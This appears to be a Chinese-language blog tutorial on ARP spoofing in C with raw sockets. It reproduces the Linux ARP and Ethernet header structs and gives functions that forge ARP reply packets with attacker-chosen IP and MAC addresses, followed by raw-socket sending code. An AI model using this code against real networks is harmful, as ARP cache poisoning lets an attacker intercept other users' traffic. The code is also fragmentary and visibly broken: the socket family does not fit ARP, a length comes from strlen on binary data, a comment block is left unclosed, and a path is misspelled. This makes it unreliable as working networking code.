1、利用原始套接字实现arp欺骗:
首先我们要清楚arp的原理:
这样我们就可以很清楚我们要做什么了:
![点击查看源网页](https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1511416960372&di=4a390b8ae0ca16174011de3e9f7dc32b&imgtype=0&src=http%3A%2F%2Fimage.ruijie.com.cn%2FUIA%2FSupport%2FDocument%2FImages%2F2013%2F11-16%2F2013111639281899.png)
2、既然这样我们就可以十分明白自己该怎样做了。
来看一下linux下的一些对于arp头部的构造的源码和各个字段的常见参数解析:去文件/usr/include/net/if_arp.h /ustr/include/netinet/ether.h
struct arphdr
{
unsigned short int ar_hrd; /* Format of hardware address. */
unsigned short int ar_pro; /* Format of protocol address. */
unsigned char ar_hln; /* Length of hardware address. */
unsigned char ar_pln; /* Length of protocol address. */
unsigned short int ar_op; /* ARP opcode (command). */
#if 0
/* Ethernet looks like this : This bit is variable sized
however... */
unsigned char __ar_sha[ETH_ALEN]; /* Sender hardware address. */
unsigned char __ar_sip[4]; /* Sender IP address. */
unsigned char __ar_tha[ETH_ALEN]; /* Target hardware address. */
unsigned char __ar_tip[4]; /* Target IP address. */
#endif
};
struct ether_arp {
struct arphdr ea_hdr; /* fixed-size header */
u_int8_t arp_sha[ETH_ALEN]; /* sender hardware address */
u_int8_t arp_spa[4]; /* sender protocol address */
u_int8_t arp_tha[ETH_ALEN]; /* target hardware address */
u_int8_t arp_tpa[4]; /* target protocol address */
};
#define arp_hrd ea_hdr.ar_hrd
#define arp_pro ea_hdr.ar_pro
#define arp_hln ea_hdr.ar_hln
#define arp_pln ea_hdr.ar_pln
#define arp_op ea_hdr.ar_op
实现对于arp的头部的构造,(arp中的option选项是有着 1 reques 2 reply 3 rarp request 4 rarp reply)
这里你要恢复的是应答包:
struct arphdr * Setarp()
{
struct arphdr * arp = calloc(1, sizeof(struct arphdr));
arp->ar_hrd=htons(ARPHRD_ETHER);
arp->ar_op=htons(ARPOP_REPLY);
arp->ar_pro=htons(ETHERTYPE_IP);
arp->ar_hln=ETH_ALEN;
arp->ar_pln=4;
return arp;
}
struct ether_arp * setArpPacket(u_int8_t * sendip,u_int8_t * sendMac ,u_int8_t * src_ip,u_int8_t * srcMAC)
{
struct ether_arp * arp = calloc(1,ARP_LEN_MAX);
arp->ea_hdr=*Setarp();
memcpy(arp->arp_sha, sendMac, ETH_ALEN);
memcpy(arp->arp_spa, sendip,4 );
memcpy(arp->arp_tha, srcMAC, ETH_ALEN);
memcpy(arp->arp_tpa,src_ip,4);
return arp;
}
创建过程,对于如果使用libpcap发送的时候还要构造一个MAC 头部/*
#define ETHERTYPE_PUP 0x0200 /* Xerox PUP */
#define ETHERTYPE_SPRITE 0x0500 /* Sprite */
#define ETHERTYPE_IP 0x0800 /* IP */
#define ETHERTYPE_ARP 0x0806 /* Address resolution */
#define ETHERTYPE_REVARP 0x8035 /* Reverse ARP */
#define ETHERTYPE_AT 0x809B /* AppleTalk protocol */
#define ETHERTYPE_AARP 0x80F3 /* AppleTalk ARP */
#define ETHERTYPE_VLAN 0x8100 /* IEEE 802.1Q VLAN tagging */
#define ETHERTYPE_IPX 0x8137 /* IPX */
#define ETHERTYPE_IPV6 0x86dd /* IP protocol version 6 */
#define ETHERTYPE_LOOPBACK 0x9000 /* used to test interfaces */
*/
也就是 struct mac_header{
u_char dst[6];
u_char src[6];
u_short type;
};
这里到底type 选择 ==0x806
2、发送arp数据,
其实利用原始套接字有一个选项直接可以实现对于arp的选项
这里为
int sockfd;
sockfd=socket(PF_INET, SOCK_RAW, htons(ETH_P_ARP));
if(sockfd==-1)
{
return 0;
}
构造头部,memcpy(buff,arp,ARP_LEN_MAX);
memcpy(buff+ARP_LEN_MAX,temp,strlen(buff));
发送数据出去:int num = sendto(sockfd,buff,MAX,0,(struct sockaddr *)&server,sizeof(struct sockaddr_in));
if(num>0){
printf("%s",temp);
}
sleep(10);